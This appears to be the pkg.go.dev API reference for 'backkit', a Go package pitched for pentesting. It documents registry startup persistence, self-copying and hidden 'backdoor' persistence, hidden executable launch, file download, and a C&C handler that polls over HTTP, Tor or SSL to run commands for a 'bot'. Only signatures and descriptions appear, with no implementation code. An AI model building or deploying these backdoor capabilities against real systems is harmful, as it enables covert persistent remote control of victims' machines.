backkit

README

backkit

Golang package for pentest

Documentation

• pkg.go.dev

Documentation

Overview

Package for pentest. It contains startup, persistence and some useful utils for pentest.

Index

• Constants
• func AddCopyPersistence(path string, change, hide bool) error
• func AddCurrentFileToStartupUsingHkcuRun(name string) error
• func AddCurrentFileToStartupUsingHkcuRunOnce(name string) error
• func AddCurrentFileToStartupUsingHklmRun(name string) error
• func AddCurrentFileToStartupUsingHklmRunOnce(name string) error
• func AddExternalFileToStartupUsingHkcuRun(name, path string) error
• func AddExternalFileToStartupUsingHkcuRunOnce(name, path string) error
• func AddExternalFileToStartupUsingHklmRun(name, path string) error
• func AddExternalFileToStartupUsingHklmRunOnce(name, path string) error
• func ByteToHexString(b [32]byte) string
• func CopyDirectory(src, dst string) error
• func CopyFile(src, dst string) error
• func DeleteHkcuRunOnceStartup(name string) error
• func DeleteHkcuRunStartup(name string) error
• func DeleteHklmRunOnceStartup(name string) error
• func DeleteHklmRunStartup(name string) error
• func DownloadFile(url, path string) error
• func DownloadString(url string) (string, error)
• func GenerateUniqueID() (string, error)
• func GetCurrentPath() (string, error)
• func GetPrivateIP() (string, error)
• func GetPublicIP() (string, error)
• func GetRandomString(n int) string
• func HexStringToByte(str string) []byte
• func RemoveFile(path string) error
• func RunExecutable(path string, hide bool) (*os.Process, error)
• type Command
• type Commands
• type Handler
  • func NewHandler(host string, port, connectionType int) Handler
  • func (h *Handler) AddCommand(command string, commandFunc func(...string)) error
  • func (h *Handler) RemoveCommand(command string) error
  • func (h *Handler) SetInterval(interval int)
  • func (h *Handler) Start(maxErrorCount int) error

Constants

const (
	// Use normal HTTP connection when connecting C&C.
	CONNECTION_NORMAL = 0

	// Use Tor secured HTTP connection when connecting C&C.
	// It will use embedded Tor with Bine package.
	CONNECTION_TOR = 1

	// Use SSL encrypted HTTP connection when connecting C&C.
	CONNECTION_SSL = 2
)

Functions

func AddCopyPersistence

func AddCopyPersistence(path string, change, hide bool) error

Copy current backdoor file to another location to prepare for someone erasing the current file. If u set change as true, current backdoor exited after run copied file. If u set hide as true, copied file will be hid.

func AddCurrentFileToStartupUsingHkcuRun

func AddCurrentFileToStartupUsingHkcuRun(name string) error

Add current file to HKCU Run registry for startup.

func AddCurrentFileToStartupUsingHkcuRunOnce

func AddCurrentFileToStartupUsingHkcuRunOnce(name string) error

Add current file to HKCU RunOnce registry for startup. It will be deleted after reboot.

func AddCurrentFileToStartupUsingHklmRun

func AddCurrentFileToStartupUsingHklmRun(name string) error

Add current file to HKLM Run registry for startup. It required admin privileges.

func AddCurrentFileToStartupUsingHklmRunOnce

func AddCurrentFileToStartupUsingHklmRunOnce(name string) error

Add current file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.

func AddExternalFileToStartupUsingHkcuRun

func AddExternalFileToStartupUsingHkcuRun(name, path string) error

Add external file to HKCU Run registry for startup.

func AddExternalFileToStartupUsingHkcuRunOnce

func AddExternalFileToStartupUsingHkcuRunOnce(name, path string) error

Add external file to HKCU RunOnce registry for startup. It will be deleted after reboot.

func AddExternalFileToStartupUsingHklmRun

func AddExternalFileToStartupUsingHklmRun(name, path string) error

Add external file to HKLM Run registry for startup. It required admin privileges.

func AddExternalFileToStartupUsingHklmRunOnce

func AddExternalFileToStartupUsingHklmRunOnce(name, path string) error

Add external file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.

func ByteToHexString

func ByteToHexString(b [32]byte) string

Change byte array to hex string.

func CopyDirectory

func CopyDirectory(src, dst string) error

Copy directory from src to dst.

func CopyFile

func CopyFile(src, dst string) error

Copy file from src to dst.

func DeleteHkcuRunOnceStartup

func DeleteHkcuRunOnceStartup(name string) error

Delete key in HKCU RunOnce registry for startup.

func DeleteHkcuRunStartup

func DeleteHkcuRunStartup(name string) error

Delete key in HKCU Run registry for startup.

func DeleteHklmRunOnceStartup

func DeleteHklmRunOnceStartup(name string) error

Delete key in HKLM RunOnce registry for startup.

func DeleteHklmRunStartup

func DeleteHklmRunStartup(name string) error

Delete key in HKLM Run registry for startup.

func DownloadFile

func DownloadFile(url, path string) error

Download file from url then save to path.

func DownloadString

func DownloadString(url string) (string, error)

Download string from url then return downloaded string.

func GenerateUniqueID

func GenerateUniqueID() (string, error)

func GetCurrentPath

func GetCurrentPath() (string, error)

Get current file path.

func GetPrivateIP

func GetPrivateIP() (string, error)

Get private IP of current device.

func GetPublicIP

func GetPublicIP() (string, error)

Get public IP of current device. To get public IP, it will send http request to external web service.

func GetRandomString

func GetRandomString(n int) string

Generate random string.

func HexStringToByte

func HexStringToByte(str string) []byte

Change byte array to hex string.

func RemoveFile

func RemoveFile(path string) error

Remove file from disk.

func RunExecutable

func RunExecutable(path string, hide bool) (*os.Process, error)

Run executable file in path. If u set hide as true, window of process will be hid. It will return created process's pid if succeed.

Types

type Command

type Command struct {
	Type string   `json:"type"`
	Args []string `json:"args"`
}

type Commands

type Commands struct {
	Commands []Command `json:"commands"`
}

type Handler

type Handler struct {
	Host           string
	Port           int
	Interval       int
	ConnectionType int

	Commands map[string]func(...string)
}

func NewHandler

func NewHandler(host string, port, connectionType int) Handler

Create new handler and return it.

func (*Handler) AddCommand

func (h *Handler) AddCommand(command string, commandFunc func(...string)) error

Add command to handler.

func (*Handler) RemoveCommand

func (h *Handler) RemoveCommand(command string) error

Remove command from handler.

func (*Handler) SetInterval

func (h *Handler) SetInterval(interval int)

Set interval in second between each HTTP request.

func (*Handler) Start

func (h *Handler) Start(maxErrorCount int) error

Start handler to receive parse command from C&C server. maxErrorCount limits error in C&C server connection. If u set maxErrorCount as -1, it will ignore every error between C&C and bot.